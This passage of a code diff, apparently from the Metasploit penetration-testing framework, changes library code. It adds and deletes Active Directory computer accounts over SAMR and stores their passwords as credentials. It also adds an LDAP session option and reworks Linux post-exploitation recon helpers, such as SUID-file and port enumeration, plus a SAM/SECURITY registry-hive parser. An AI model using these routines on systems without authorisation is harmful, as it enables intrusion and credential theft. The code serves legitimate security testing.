)
samr_con.samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_CONTROL_INFORMATION,
member: RubySMB::Dcerpc::Samr::UserControlInformation.new(
user_account_control: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT
)
)
samr_con.samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
print_good("Successfully created #{samr_con.domain_name}\\#{computer_name}")
print_good(" Password: #{computer_password}")
print_good(" SID: #{get_computer_sid(samr_con, computer_name)}")
report_creds(samr_con.domain_name, computer_name, computer_password)
ComputerInfo.new(computer_name, computer_password)
rescue RubySMB::Dcerpc::Error::SamrError => e
raise MsSamrUnknownError, "A DCERPC SAMR error occurred: #{e.message}"
ensure
if samr_con
samr_con.samr.close_handle(user_handle) if user_handle
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
end
end
def delete_computer(opts = {})
tree = opts[:tree] || connect_ipc
samr_con = connect_samr(tree)
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
if computer_name.blank?
raise MsSamrBadConfigError, 'Unable to delete the computer account since its name is unknown'
end
details = samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ])
raise MsSamrBadConfigError, 'The specified computer was not found.' if details.nil?
details = details[computer_name]
user_handle = samr_con.samr.samr_open_user(domain_handle: samr_con.domain_handle, user_id: details[:rid])
samr_con.samr.samr_delete_user(user_handle: user_handle)
print_good('The specified computer has been deleted.')
rescue RubySMB::Dcerpc::Error::SamrError => e
# `user_handle` only needs to be closed if an error occurs in `samr_delete_user`
# If this method succeed, the server took care of closing the handle
samr_con.samr.close_handle(user_handle) if user_handle
raise MsSamrUnknownError, "Could not delete the computer #{computer_name}: #{e.message}"
ensure
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
end
def lookup_computer(opts = {})
tree = opts[:tree] || connect_ipc
samr_con = connect_samr(tree)
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
if computer_name.blank?
raise MsSamrBadConfigError, 'Unable to lookup the computer account since its name is unknown'
end
sid = get_computer_sid(samr_con, computer_name)
print_good("Found #{samr_con.domain_name}\\#{computer_name} (SID: #{sid})")
ensure
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
end
module_function
def random_hostname(prefix: 'DESKTOP')
"#{prefix}-#{Rex::Text.rand_base(8, '', ('A'..'Z').to_a + ('0'..'9').to_a)}$"
end
def get_computer_sid(samr_con, computer_name)
details = samr_con.samr.samr_lookup_names_in_domain(
domain_handle: samr_con.domain_handle,
names: [ computer_name ]
)
raise MsSamrNotFoundError, 'The computer was not found.' if details.nil?
details = details[computer_name]
samr_con.samr.samr_rid_to_sid(
object_handle: samr_con.domain_handle,
rid: details[:rid]
).to_s
end
def report_creds(domain, username, password)
service_data = {
address: rhost,
port: rport,
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: password,
private_type: :password,
username: username,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end
end
+10 -1
View File
@@ -19,6 +19,11 @@ module Exploit::Remote::MSSQL
attr_accessor :mssql_client
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
#
# Creates an instance of a MSSQL exploit module.
#
@@ -48,11 +53,15 @@ module Exploit::Remote::MSSQL
register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
end
def set_session(client)
def set_mssql_session(client)
print_status("Using existing session #{session.sid}")
@mssql_client = client
end
def create_mssql_client
@mssql_client ||= Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT'])
end
#
# This method sends a UDP query packet to the server and
# parses out the reply packet into a hash
+6 -4
View File
@@ -94,7 +94,7 @@ module Msf
#
# @param (see Exploit::Remote::Tcp#connect)
# @return (see Exploit::Remote::Tcp#connect)
def connect(global=true, versions: [], backend: nil)
def connect(global=true, versions: [], backend: nil, direct: nil)
if versions.nil? || versions.empty?
versions = datastore['SMB::ProtocolVersion'].split(',').map(&:strip).reject(&:blank?).map(&:to_i)
# if the user explicitly set the protocol version to 1, still use ruby_smb
@@ -108,9 +108,11 @@ module Msf
# Disable direct SMB when SMBDirect has not been set
# and the destination port is configured as 139
direct = smb_direct
if(datastore.default?('SMBDirect') and rport.to_i == 139)
direct = false
if direct.nil?
direct = smb_direct
if datastore.default?('SMBDirect') and rport.to_i == 139
direct = false
end
end
c = Rex::Proto::SMB::SimpleClient.new(s, direct, versions, always_encrypt: datastore['SMB::AlwaysEncrypt'], backend: backend)
+9
View File
@@ -26,6 +26,8 @@ module Msf
POSTGRESQL_SESSION_TYPE = 'postgresql_session_type'
MYSQL_SESSION_TYPE = 'mysql_session_type'
MSSQL_SESSION_TYPE = 'mssql_session_type'
LDAP_SESSION_TYPE = 'ldap_session_type'
DEFAULTS = [
{
name: WRAPPED_TABLES,
@@ -94,6 +96,13 @@ module Msf
default_value: true,
developer_notes: 'Enabled in Metasploit 6.4.x'
}.freeze,
{
name: LDAP_SESSION_TYPE,
description: 'When enabled will allow for the creation/use of LDAP sessions',
requires_restart: true,
default_value: false,
developer_notes: 'To be enabled by default after appropriate testing'
}.freeze,
{
name: DNS,
description: 'When enabled allows configuration of DNS resolution behaviour in Metasploit',
+94
View File
@@ -0,0 +1,94 @@
# frozen_string_literal: true
module Msf
module OptionalSession
module LDAP
include Msf::OptionalSession
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT DOMAIN USERNAME PASSWORD THREADS]
REQUIRED_OPTIONS = %w[RHOSTS RPORT USERNAME PASSWORD THREADS]
def initialize(info = {})
super(
update_info(
info,
'SessionTypes' => %w[ldap]
)
)
if optional_session_enabled?
register_option_group(name: 'SESSION',
description: 'Used when connecting via an existing SESSION',
option_names: ['SESSION'])
register_option_group(name: 'RHOST',
description: 'Used when making a new connection via RHOSTS',
option_names: RHOST_GROUP_OPTIONS,
required_options: REQUIRED_OPTIONS)
register_options(
[
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
Msf::Opt::RHOST(nil, false),
Msf::Opt::RPORT(389, false)
]
)
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
end
end
def optional_session_enabled?
framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
end
# @see #ldap_open
# @return [Object] The result of whatever the block that was
# passed in via the "block" parameter yielded.
def ldap_connect(opts = {}, &block)
if session && !opts[:base].blank?
session.client.base = opts[:base]
end
return yield session.client if session
ldap_open(get_connect_opts.merge(opts), &block)
rescue ::StandardError => e
handle_error(e)
end
# Create a new LDAP connection using Rex::Proto::LDAP::Client.new and yield the
# resulting connection object to the caller of this method.
#
# @param opts [Hash] A hash containing the connection options for the
# LDAP connection to the target server.
# @yieldparam ldap [Rex::Proto::LDAP::Client] The LDAP connection handle to use for connecting to
# the target LDAP server.
def ldap_new(opts = {})
if session && !opts[:base].blank?
session.client.base = opts[:base]
end
return yield session.client if session
super
rescue ::StandardError => e
handle_error(e)
end
private
def handle_error(e)
case e
when ::Net::LDAP::ResponseMissingOrInvalidError
elog("LDAP Client response missing or invalid: #{e.class}", error: e)
if session
print_error("Killing session #{session.sid} due to missing or invalid response from the server.")
session.kill
end
else
elog("LDAP Client: #{e.class}", error: e)
# Re-raise other exceptions so they can be handled elsewhere
raise e
end
end
end
end
end
+418 -372
View File
@@ -1,397 +1,443 @@
# -*- coding: binary -*-
module Msf
class Post
module Linux
module System
include ::Msf::Post::Common
include ::Msf::Post::File
include ::Msf::Post::Unix
class Post
module Linux
module System
include ::Msf::Post::Common
include ::Msf::Post::File
include ::Msf::Post::Unix
#
# Returns a Hash containing Distribution Name, Version and Kernel Information
#
def get_sysinfo
system_data = {}
etc_files = cmd_exec("ls /etc").split()
#
# Returns a Hash containing Distribution Name, Version and Kernel Information
#
def get_sysinfo
system_data = {}
etc_files = cmd_exec('ls /etc').split
kernel_version = cmd_exec("uname -a")
system_data[:kernel] = kernel_version
kernel_version = cmd_exec('uname -a')
system_data[:kernel] = kernel_version
# Debian
if etc_files.include?("debian_version")
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'').strip
if kernel_version =~ /Ubuntu/
system_data[:distro] = "ubuntu"
system_data[:version] = version
else
system_data[:distro] = "debian"
system_data[:version] = version
end
# Debian
if etc_files.include?('debian_version')
version = read_file('/etc/issue').gsub(/\n|\\n|\\l/, '').strip
if kernel_version =~ /Ubuntu/
system_data[:distro] = 'ubuntu'
else
system_data[:distro] = 'debian'
end
system_data[:version] = version
# Amazon / CentOS
elsif etc_files.include?('system-release')
version = read_file('/etc/system-release').gsub(/\n|\\n|\\l/,'').strip
if version.include? 'CentOS'
system_data[:distro] = 'centos'
elsif version.include? 'Fedora'
system_data[:distro] = 'fedora'
else
system_data[:distro] = 'amazon'
end
system_data[:version] = version
# Amazon / CentOS
elsif etc_files.include?('system-release')
version = read_file('/etc/system-release').gsub(/\n|\\n|\\l/, '').strip
if version.include? 'CentOS'
system_data[:distro] = 'centos'
elsif version.include? 'Fedora'
system_data[:distro] = 'fedora'
else
system_data[:distro] = 'amazon'
end
system_data[:version] = version
# Alpine
elsif etc_files.include?('alpine-release')
version = read_file('/etc/alpine-release').gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = 'alpine'
system_data[:version] = version
# Alpine
elsif etc_files.include?('alpine-release')
version = read_file('/etc/alpine-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'alpine'
system_data[:version] = version
# Fedora
elsif etc_files.include?("fedora-release")
version = read_file("/etc/fedora-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "fedora"
system_data[:version] = version
# Fedora
elsif etc_files.include?('fedora-release')
version = read_file('/etc/fedora-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'fedora'
system_data[:version] = version
# Oracle Linux
elsif etc_files.include?("enterprise-release")
version = read_file("/etc/enterprise-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "oracle"
system_data[:version] = version
# Oracle Linux
elsif etc_files.include?('enterprise-release')
version = read_file('/etc/enterprise-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'oracle'
system_data[:version] = version
# RedHat
elsif etc_files.include?("redhat-release")
version = read_file("/etc/redhat-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "redhat"
system_data[:version] = version
# RedHat
elsif etc_files.include?('redhat-release')
version = read_file('/etc/redhat-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'redhat'
system_data[:version] = version
# Arch
elsif etc_files.include?("arch-release")
version = read_file("/etc/arch-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "arch"
system_data[:version] = version
# Arch
elsif etc_files.include?('arch-release')
version = read_file('/etc/arch-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'arch'
system_data[:version] = version
# Slackware
elsif etc_files.include?("slackware-version")
version = read_file("/etc/slackware-version").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "slackware"
system_data[:version] = version
# Slackware
elsif etc_files.include?('slackware-version')
version = read_file('/etc/slackware-version').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'slackware'
system_data[:version] = version
# Mandrake
elsif etc_files.include?("mandrake-release")
version = read_file("/etc/mandrake-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "mandrake"
system_data[:version] = version
# Mandrake
elsif etc_files.include?('mandrake-release')
version = read_file('/etc/mandrake-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'mandrake'
system_data[:version] = version
# SuSE
elsif etc_files.include?("SuSE-release")
version = read_file("/etc/SuSE-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "suse"
system_data[:version] = version
# SuSE
elsif etc_files.include?('SuSE-release')
version = read_file('/etc/SuSE-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'suse'
system_data[:version] = version
# OpenSUSE
elsif etc_files.include?("SUSE-brand")
version = read_file("/etc/SUSE-brand").scan(/^VERSION\s*=\s*([\d\.]+)/).flatten.first
system_data[:distro] = 'suse'
system_data[:version] = version
# OpenSUSE
elsif etc_files.include?('SUSE-brand')
version = read_file('/etc/SUSE-brand').scan(/^VERSION\s*=\s*([\d.]+)/).flatten.first
system_data[:distro] = 'suse'
system_data[:version] = version
# Gentoo
elsif etc_files.include?("gentoo-release")
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "gentoo"
system_data[:version] = version
# Gentoo
elsif etc_files.include?('gentoo-release')
version = read_file('/etc/gentoo-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'gentoo'
system_data[:version] = version
# Openwall
elsif etc_files.include?("owl-release")
version = read_file("/etc/owl-release").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = 'openwall'
system_data[:version] = version
# Openwall
elsif etc_files.include?('owl-release')
version = read_file('/etc/owl-release').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'openwall'
system_data[:version] = version
# Generic
elsif etc_files.include?("issue")
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'').strip
system_data[:distro] = "linux"
system_data[:version] = version
# Generic
elsif etc_files.include?('issue')
version = read_file('/etc/issue').gsub(/\n|\\n|\\l/, '').strip
system_data[:distro] = 'linux'
system_data[:version] = version
# Others, could be a mismatch like ssh_login to cisco device
else
system_data[:distro] = "linux"
system_data[:version] = ''
# Others, could be a mismatch like ssh_login to cisco device
else
system_data[:distro] = 'linux'
system_data[:version] = ''
end
report_host({
:host => rhost,
:os_name => system_data[:distro],
:os_flavor => system_data[:version]
})
return system_data
end
#
# Gathers all SUID files on the filesystem.
# NOTE: This uses the Linux `find` command. It will most likely take a while to get all files.
# Consider specifying a more narrow find path.
# @param findpath The path on the system to start searching
# @return [Array]
def get_suid_files(findpath = '/')
out = cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n")
out.delete_if {|i| i.include? 'Permission denied'}
rescue
raise "Could not retrieve all SUID files"
end
#
# Gets the $PATH environment variable
# @return [String]
def get_path
cmd_exec('echo $PATH').to_s
rescue
raise "Unable to determine path"
end
#
# Gets basic information about the system's CPU.
# @return [Hash]
#
def get_cpu_info
info = {}
orig = read_file("/proc/cpuinfo").to_s
cpuinfo = orig.split("\n\n")[0]
# This is probably a more platform independent way to parse the results (compared to splitting and assigning preset indices to values)
cpuinfo.split("\n").each do |l|
info[:speed_mhz] = l.split(': ')[1].to_i if l.include? 'cpu MHz'
info[:product] = l.split(': ')[1] if l.include? 'model name'
info[:vendor] = l.split(': ')[1] if l.include? 'vendor_id'
end
info[:cores] = orig.split("\n\n").size
info
rescue
raise "Could not get CPU information"
end
#
# Gets the hostname of the system
# @return [String]
#
def get_hostname
if command_exists?("uname")
hostname = cmd_exec('uname -n').to_s
else
hostname = read_file("/proc/sys/kernel/hostname").to_s.chomp
end
report_host({:host => rhost, :name => hostname})
hostname
rescue
raise 'Unable to retrieve hostname'
end
#
# Gets the name of the current shell
# @return [String]
#
def get_shell_name
if command_exists?("ps")
psout = cmd_exec('ps -p $$').to_s
psout.split("\n").last.split(' ')[3]
else
str_shell = cmd_exec("echo $0").split("-")[1]
return str_shell
end
rescue
raise 'Unable to gather shell name'
end
#
# Gets the pid of the current shell
# @return [String]
#
def get_shell_pid
cmd_exec("echo $$").to_s
end
#
# Checks if the system has gcc installed
# @return [Boolean]
#
def has_gcc?
command_exists? 'gcc'
rescue
raise 'Unable to check for gcc'
end
#
# Checks if `file_path` is mounted on a noexec mount point
# @return [Boolean]
#
def noexec?(file_path)
mount = read_file('/proc/mounts').to_s
mount_path = get_mount_path(file_path)
mount.lines.each do |l|
return true if l =~ Regexp.new("#{mount_path} (.*)noexec(.*)")
end
false
rescue
raise 'Unable to check for noexec volume'
end
#
# Checks if `file_path` is mounted on a nosuid mount point
# @return [Boolean]
#
def nosuid?(file_path)
mount = read_file('/proc/mounts').to_s
mount_path = get_mount_path(file_path)
mount.lines.each do |l|
return true if l =~ Regexp.new("#{mount_path} (.*)nosuid(.*)")
end
false
rescue
raise 'Unable to check for nosuid volume'
end
#
# Checks for protected hardlinks on the system
# @return [Boolean]
#
def protected_hardlinks?
read_file('/proc/sys/fs/protected_hardlinks').to_s.strip.eql? '1'
rescue
raise 'Could not determine protected_hardlinks status'
end
#
# Checks for protected symlinks on the system
# @return [Boolean]
#
def protected_symlinks?
read_file('/proc/sys/fs/protected_symlinks').to_s.strip.eql? '1'
rescue
raise 'Could not determine protected_symlinks status'
end
#
# Gets the version of glibc
# @return [String]
#
def glibc_version
raise 'glibc is not installed' unless command_exists? 'ldd'
cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
rescue
raise 'Could not determine glibc version'
end
#
# Gets the mount point of `filepath`
# @param [String] filepath The filepath to get the mount point
# @return [String]
#
def get_mount_path(filepath)
cmd_exec("df \"#{filepath}\" | tail -1").split(' ')[5]
rescue
raise "Unable to get mount path of #{filepath}"
end
#
# Gets all the IP directions of the device
# @return [Array]
#
def ips
lines = read_file("/proc/net/fib_trie")
result = []
previous_line = ""
lines.each_line do |line|
if line.include?("/32 host LOCAL")
previous_line = previous_line.split("-- ")[1].strip()
if not result.include? previous_line
result.insert(-1, previous_line)
end
end
previous_line = line
end
return result
end
#
# Gets all the interfaces of the device
# @return [Array]
#
def interfaces
result = []
data = cmd_exec("for fn in /sys/class/net/*; do echo $fn; done")
parts = data.split("\n")
parts.each do |line|
line = line.split("/")[-1]
result.insert(-1,line)
end
return result
end
#
# Gets all the macs of the device
# @return [Array]
#
def macs
result = []
str_macs = cmd_exec("for fn in /sys/class/net/*; do echo $fn; done")
parts = str_macs.split("\n")
parts.each do |line|
rut = line + "/address"
mac_array = read_file(rut)
mac_array.each_line do |mac|
result.insert(-1,mac.strip())
end
end
return result
end
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
#
# Gets all the listening tcp ports in the device
# @return [Array]
#
def listen_tcp_ports
ports = []
content = read_file('/proc/net/tcp')
content.each_line do |line|
if m = line.match(/^\s*\d+:\s+(.{8}|.{32}):(.{4})\s+(.{8}|.{32}):(.{4})\s+(.{2})/)
connection_state = m[5].to_s
if connection_state == "0A"
connection_port = m[2].to_i(16)
if ports.include?(connection_port) == false
ports.insert(-1, connection_port)
end
end
end
end
return ports
end
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
#
# Gets all the listening udp ports in the device
# @return [Array]
#
def listen_udp_ports
ports = []
content = read_file('/proc/net/udp')
content.each_line do |line|
if m = line.match(/^\s*\d+:\s+(.{8}|.{32}):(.{4})\s+(.{8}|.{32}):(.{4})\s+(.{2})/)
connection_state = m[5].to_s
if connection_state == "07"
connection_port = m[2].to_i(16)
if ports.include?(connection_port) == false
ports.insert(-1, connection_port)
report_host({
host: rhost,
os_name: system_data[:distro],
os_flavor: system_data[:version]
})
system_data
end
#
# Gathers all SUID files on the filesystem.
# NOTE: This uses the Linux `find` command. It will most likely take a while to get all files.
# Consider specifying a more narrow find path.
# @param findpath The path on the system to start searching
# @return [Array]
def get_suid_files(findpath = '/')
cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n").delete_if { |i| i.include? 'Permission denied' }
rescue StandardError
raise 'Could not retrieve all SUID files'
end
#
# Gets the $PATH environment variable
# @return [String]
def get_path
cmd_exec('echo $PATH').to_s
rescue StandardError
raise 'Unable to determine path'
end
#
# Gets basic information about the system's CPU.
# @return [Hash]
#
def get_cpu_info
info = {}
orig = read_file('/proc/cpuinfo').to_s
cpuinfo = orig.split("\n\n")[0]
# This is probably a more platform independent way to parse the results (compared to splitting and assigning preset indices to values)
cpuinfo.split("\n").each do |l|
info[:speed_mhz] = l.split(': ')[1].to_i if l.include? 'cpu MHz'
info[:product] = l.split(': ')[1] if l.include? 'model name'
info[:vendor] = l.split(': ')[1] if l.include? 'vendor_id'
end
info[:cores] = orig.split("\n\n").size
info
rescue StandardError
raise 'Could not get CPU information'
end
end
end
return ports
end
end # System
end # Linux
end # Post
end # Msf
#
# Gets the hostname of the system
# @return [String]
#
def get_hostname
hostname =
if command_exists?('uname')
cmd_exec('uname -n').to_s
else
read_file('/proc/sys/kernel/hostname').to_s.chomp
end
report_host({ host: rhost, name: hostname })
hostname
rescue StandardError
raise 'Unable to retrieve hostname'
end
#
# Gets the name of the current shell
# @return [String]
#
def get_shell_name
if command_exists?('ps')
cmd_exec('ps -p $$').to_s.split("\n").last.split(' ')[3]
else
cmd_exec('echo $0').split('-')[1]
end
rescue StandardError
raise 'Unable to gather shell name'
end
#
# Gets the pid of the current shell
# @return [String]
#
def get_shell_pid
cmd_exec('echo $$').to_s
end
#
# Checks if the system has gcc installed
# @return [Boolean]
#
def has_gcc?
command_exists? 'gcc'
rescue StandardError
raise 'Unable to check for gcc'
end
#
# Checks if `file_path` is mounted on a noexec mount point
# @return [Boolean]
#
def noexec?(file_path)
mount = read_file('/proc/mounts').to_s
mount_path = get_mount_path(file_path)
mount.lines.each do |l|
return true if l =~ Regexp.new("#{mount_path} (.*)noexec(.*)")
end
false
rescue StandardError
raise 'Unable to check for noexec volume'
end
#
# Checks if `file_path` is mounted on a nosuid mount point
# @return [Boolean]
#
def nosuid?(file_path)
mount = read_file('/proc/mounts').to_s
mount_path = get_mount_path(file_path)
mount.lines.each do |l|
return true if l =~ Regexp.new("#{mount_path} (.*)nosuid(.*)")
end
false
rescue StandardError
raise 'Unable to check for nosuid volume'
end
#
# Checks for protected hardlinks on the system
# @return [Boolean]
#
def protected_hardlinks?
read_file('/proc/sys/fs/protected_hardlinks').to_s.strip.eql? '1'
rescue StandardError
raise 'Could not determine protected_hardlinks status'
end
#
# Checks for protected symlinks on the system
# @return [Boolean]
#
def protected_symlinks?
read_file('/proc/sys/fs/protected_symlinks').to_s.strip.eql? '1'
rescue StandardError
raise 'Could not determine protected_symlinks status'
end
#
# Gets the version of glibc
# @return [String]
#
def glibc_version
raise 'glibc is not installed' unless command_exists? 'ldd'
cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first
rescue StandardError
raise 'Could not determine glibc version'
end
#
# Gets the mount point of `filepath`
# @param [String] filepath The filepath to get the mount point
# @return [String]
#
def get_mount_path(filepath)
cmd_exec("df \"#{filepath}\" | tail -1").split(' ')[5]
rescue StandardError
raise "Unable to get mount path of #{filepath}"
end
#
# Gets all the IP directions of the device
# @return [Array]
#
def ips
lines = read_file('/proc/net/fib_trie')
result = []
previous_line = ''
lines.each_line do |line|
if line.include?('/32 host LOCAL')
previous_line = previous_line.split('-- ')[1].strip
unless result.include? previous_line
result.insert(-1, previous_line)
end
end
previous_line = line
end
result
end
#
# Gets all the interfaces of the device
# @return [Array]
#
def interfaces
result = []
data = cmd_exec('for fn in /sys/class/net/*; do echo $fn; done')
parts = data.split("\n")
parts.each do |line|
line = line.split('/')[-1]
result.insert(-1, line)
end
result
end
#
# Gets all the macs of the device
# @return [Array]
#
def macs
result = []
str_macs = cmd_exec('for fn in /sys/class/net/*; do echo $fn; done')
parts = str_macs.split("\n")
parts.each do |line|
rut = line + '/address'
mac_array = read_file(rut)
mac_array.each_line do |mac|
result.insert(-1, mac.strip)
end
end
result
end
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
#
# Gets all the listening tcp ports in the device
# @return [Array]
#
def listen_tcp_ports
ports = []
content = read_file('/proc/net/tcp')
content.each_line do |line|
next unless (m = line.match(/^\s*\d+:\s+(.{8}|.{32}):(.{4})\s+(.{8}|.{32}):(.{4})\s+(.{2})/))
connection_state = m[5].to_s
next unless connection_state == '0A'
connection_port = m[2].to_i(16)
unless ports.include?(connection_port)
ports.insert(-1, connection_port)
end
end
ports
end
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
#
# Gets all the listening udp ports in the device
# @return [Array]
#
def listen_udp_ports
ports = []
content = read_file('/proc/net/udp')
content.each_line do |line|
next unless (m = line.match(/^\s*\d+:\s+(.{8}|.{32}):(.{4})\s+(.{8}|.{32}):(.{4})\s+(.{2})/))
connection_state = m[5].to_s
next unless connection_state == '07'
connection_port = m[2].to_i(16)
if ports.include?(connection_port) == false
ports.insert(-1, connection_port)
end
end
return ports
end
#
# Determine if system is a container
# @return [String]
#
def get_container_type
# Checking file paths for solution
container_type =
if file?('/.dockerenv') || file?('/.dockerinit')
'Docker'
elsif file?('/run/.containerenv')
'Podman'
elsif directory?('/dev/lxc')
'LXC'
elsif file?('/proc/sys/kernel/osrelease') && read_file('/proc/sys/kernel/osrelease').grep(/WSL|Microsoft/i).any?
# Check for WSL, as suggested in https://github.com/Microsoft/WSL/issues/423#issuecomment-221627364
'WSL'
elsif (cgroup = read_file('/proc/1/cgroup'))
# Check cgroup on PID 1
case cgroup.tr("\n", ' ')
when /docker/i
return 'Docker'
when /lxc/i
return 'LXC'
end
else
# Check for the "container" environment variable
case get_env('container')
when 'lxc'
return 'LXC'
when 'systemd-nspawn'
return 'systemd nspawn'
when 'podman'
return 'Podman'
else
'Unknown'
end
end
unless container_type == 'Unknown'
report_host({
host: rhost,
virtual_host: container_type
})
end
container_type
end
# System
end
# Linux
end
# Post
end
# Msf
end
+18
View File
@@ -101,6 +101,7 @@ module Msf
all_information = preamble
all_information << datastore(framework, driver)
all_information << database_configuration(framework)
all_information << framework_config(framework)
all_information << history(driver)
all_information << errors
all_information << logs
@@ -201,6 +202,23 @@ module Msf
)
end
def self.framework_config(framework)
required_features = framework.features.all.map { |feature| [feature[:name], feature[:enabled].to_s] }
markdown_formatted_features = required_features.map { |feature| "| #{feature.join(' | ')} |" }
required_fields = %w[name enabled]
table = "| #{required_fields.join(' | ')} |\n"
table += '|' + '-:|' * required_fields.count + "\n"
table += markdown_formatted_features.join("\n").to_s
# The markdown table can't be placed in a code block or it will not render as a table.
build_section_no_block(
'Framework Configuration',
'The features are configured as follows:',
table
)
end
def self.history(driver)
end_pos = Readline::HISTORY.length - 1
start_pos = end_pos - COMMAND_HISTORY_TOTAL > driver.hist_last_saved ? end_pos - (COMMAND_HISTORY_TOTAL - 1) : driver.hist_last_saved
+2 -2
View File
@@ -1,7 +1,7 @@
module Msf::Util::WindowsRegistry
def self.parse(hive_data, name: nil)
RegistryParser.new(hive_data, name: name)
def self.parse(hive_data, name: nil, root: nil)
RegistryParser.new(hive_data, name: name, root: root)
end
end
@@ -198,11 +198,14 @@ module WindowsRegistry
# @param hive_data [String] The binary registry data
# @param name [Symbol] The key name to add specific helpers. Only `:sam`
# @param root [String] The root key and subkey corresponding to the hive_data
# and `:security` are supported at the moment.
def initialize(hive_data, name: nil)
def initialize(hive_data, name: nil, root: nil)
@hive_data = hive_data.b
@regf = RegRegf.read(@hive_data)
@root_key = find_root_key
@root_key_block = find_root_key
@root = root
@root << '\\' unless root.end_with?('\\')
case name
when :sam
require_relative 'sam'
@@ -210,6 +213,8 @@ module WindowsRegistry
when :security
require_relative 'security'
extend Security
else
wlog("[Msf::Util::WindowsRegistry::RegistryParser] Unknown :name argument: #{name}") unless name.blank?
end
end
@@ -224,10 +229,10 @@ module WindowsRegistry
@hive_data.unpack('a4096' * (@hive_data.size / 4096)).each do |data|
next unless data[0,4] == 'hbin'
reg_hbin = RegHbin.read(data)
root_key = reg_hbin.reg_hbin_blocks.find do |block|
root_key_block = reg_hbin.reg_hbin_blocks.find do |block|
block.data.respond_to?(:magic) && block.data.magic == NK_MAGIC && block.data.nk_type == ROOT_KEY
end
return root_key if root_key
return root_key_block if root_key_block
rescue IOError
raise StandardError, 'Cannot parse the RegHbin structure'
end
@@ -265,7 +270,7 @@ module WindowsRegistry
# only asking for the root node
key = key[1..-1] if key[0] == '\\' && key.size > 1
parent_key = @root_key
parent_key = @root_key_block
if key.size > 0 && key[0] != '\\'
key.split('\\').each do |sub_key|
res = find_sub_key(parent_key, sub_key)
@@ -450,11 +455,11 @@ module WindowsRegistry
res = []
value_list = get_value_blocks(key_obj.data.offset_value_list, key_obj.data.num_values + 1)
value_list.each do |value|
# TODO: use #to_s to make sure value.data.name is a String
res << (value.data.flag > 0 ? value.data.name : nil)
end
res
end
end
end
@@ -0,0 +1,167 @@
module Msf
module Util
module WindowsRegistry
class RemoteRegistry
# Constants
ROOT_KEY = 0x2c
REG_NONE = 0x00
REG_SZ = 0x01
REG_EXPAND_SZ = 0x02
REG_BINARY = 0x03
REG_DWORD = 0x04
REG_MULTISZ = 0x07
REG_QWORD = 0x0b
def initialize(winreg, name: nil, inline: false)
@winreg = winreg
@inline = inline
case name
when :sam
require_relative 'sam'
extend Sam
when :security
require_relative 'security'
extend Security
else
wlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Unknown :name argument: #{name}") unless name.blank?
end
end
def create_ace(sid)
